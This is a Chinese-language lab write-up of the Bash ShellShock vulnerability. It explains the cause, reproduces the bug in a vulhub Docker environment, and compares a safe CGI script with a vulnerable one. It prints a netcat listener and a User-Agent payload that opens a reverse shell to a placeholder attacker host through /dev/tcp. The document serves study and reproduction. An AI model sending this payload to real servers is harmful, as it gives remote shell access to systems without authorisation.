漏洞描述
ShellShock
是一个BashShell
漏洞,通常情况下系统内的Shell
有严格权限控制,但GNU Bash
在 4.3
及之前版本存在安全漏洞,Bash
运行过程中会调用操作系统的环境变量,攻击者可向环境变量值内的函数定义后添加多余字符串触发漏洞,通过改变或绕过环境限制来执行Shell
命令。
Bash
使用的环境变量通过函数名称进行调用,漏洞原因在于以(){
开头定义的环境变量在命令ENV
中解析为函数后,Bash
执行并未退出,而是继续解析并执行Shell
命令,攻击者可借此实现反弹Shell
等行为。
漏洞的核心原因在于输入过滤中没有严格的限制边界,没有做合法化的参数判断。
影响版本
GNU Bash 4.3
及之前版本。
漏洞复现
git clone https://github.com/vulhub/vulhub.git
cd vulhub/bash/shellshock
docker-compose up -d
环境启动后可尝试访问http://<ip>:<port>/victim.cgi
查看是否启动成功。
攻击机监听端口:
nc -lvnp <port>
抓取当前页面的访问数据包,修改User-Agent
构造一个反弹Shell
的payload
:
User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1;
成功反弹Shell
。
漏洞分析
复现目录下存在safe.cgi
和victim.cgi
两个cgi
文件,我们使用diff
命令看看两者的差异:
# 命令
diff safe.cgi victim.cgi
# 结果
1c1
< #!/bin/bash
---
> #!/usr/local/bash-4.3.0/bin/bash
# 输出信息讲解
1c1:表示第一个文件的第1行与第二个文件的第1行不匹配
<:表示第一个文件中的数据行
>:表示第二个文件中的数据行
可以发现两者Bash
版本不同,而在访问http://<ip>:<port>/safe.cgi
时,漏洞无法复现成功。
Web
服务器通过环境变量获取浏览器参数,然后交给CGI
程序,环境中的CGI
程序是有漏洞版本的Bash
生成的,因此在HTTP头部
中注入的浏览器参数被Bash
当作环境变量解析并执行了。
文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。